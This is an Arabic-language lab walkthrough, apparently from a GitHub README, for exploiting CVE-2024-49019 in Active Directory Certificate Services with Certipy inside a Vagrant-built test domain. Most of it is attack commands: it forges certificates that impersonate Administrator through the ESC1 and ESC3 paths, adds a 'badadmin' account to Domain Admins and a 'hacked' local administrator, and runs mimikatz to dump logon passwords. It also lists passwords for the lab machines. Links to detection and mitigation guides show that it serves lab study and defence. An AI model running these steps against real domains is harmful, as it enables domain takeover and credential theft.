
استغلال لـ CVE-2024-49019
CVE-2024-49019 هي ثغرة أمنية في خدمات شهادات Active Directory (AD CS) تسمح للمهاجم بتصعيد الامتيازات من خلال إساءة استخدام المصادقة المستندة إلى الشهادات. يوضح هذا الدليل كيفية استغلال هذه الثغرة باستخدام Certipy.
| الجهاز الافتراضي | اسم المستخدم | كلمة المرور |
|---|---|---|
| Windows Server 2022 | Administrator | !@windowsadmintest101 |
| Windows Server 2022 | testuser | $Vulnerable139 |
| Kali-VM | vagrant | vagrant |
| Ubuntu-Wazuh | wazuh | admin |
يُستخدم الجهاز الافتراضي Ubuntu-Wazuh لأغراض الكشف. دليل الكشف التخفيف
أولاً، استنسخ المستودع الذي يحتوي على الملفات اللازمة:
git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng
يجب عليك تثبيت Vagrant على جهازك المضيف قبل المتابعة.
قم بتنزيل وتثبيت Vagrant من هنا، أو ثبّته باستخدام PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
cd windows-server2022
vagrant up
cd kali-VM
vagrant up
cd WazuhUbuntu
vagrant up
نظرًا لأن الاستغلال يتطلب شبكة NAT، قم بتكوين VirtualBox على النحو التالي:
قبل تشغيل الأمر أدناه، تأكد من إضافة VBoxManage إلى متغيرات البيئة لديك. إذا لم يكن كذلك، فقم بتنفيذ الأمر باستخدام مساره الكامل:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
إذا لم يتم التعرف على VBoxManage، استخدم:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
تأكد من فحص جميع الأجهزة الافتراضية في VirtualBox والتأكد من إسنادها إلى محول الشبكة NatNetwork - NatNet1. يمكنك إنشاء شبكة NAT باسم مختلف، لكن يجب أن تكون ضمن نطاق IP 10.0.2.0/24.
قبل المتابعة، تأكد من تشغيل جميع الأجهزة الافتراضية.
قم بالوصول إلى جهاز Kali Linux الافتراضي لبدء الهجوم وتحديث ملف /etc/hosts الخاص بك:
sudo nano /etc/hosts
أضف الإدخال التالي:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
احفظ ثم اخرج.
انتقل إلى دليل CVE-49019 وقم بتفعيل البيئة الافتراضية لـ Python:
cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate
توجد طريقتان لاستغلال هذه الثغرة: ESC1 و ESC3.
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
add_user badadmin
add_user_to_group badadmin "Domain Admins"
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121
certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121
certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121
يوجد حل بديل، تأكد من أن جهازك المضيف لديه نفس الوقت الذي يملكه خادم Windows نفسه. تأكد من تنفيذ هذا الأمر لتحديث جهاز Kali-Linux الافتراضي ليكون مطابقًا لتوقيت Windows-Server.
sudo timedatectl set-ntp off
sudo rdate -n 10.0.2.121
w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
بمجرد الحصول على وصول بمستوى المسؤول، يمكن للمهاجم:
net user hacked /add
net localgroup "Administrators" hacked /add
sekurlsa::logonpasswords
بالنسبة لـ استراتيجيات الكشف والتخفيف، راجع دليل الكشف.
تمثل CVE-2024-49019 خطرًا أمنيًا كبيرًا نظرًا لقدرتها على السماح بتصعيد الامتيازات غير المصرح به. يعد فهم هذه الثغرة ونشر آليات الكشف المناسبة، مثل استخدام Wazuh، أمرًا بالغ الأهمية لتأمين بيئات Active Directory.
لمزيد من المعلومات حول تأمين AD CS، راجع Microsoft Security CVE-2024-49019.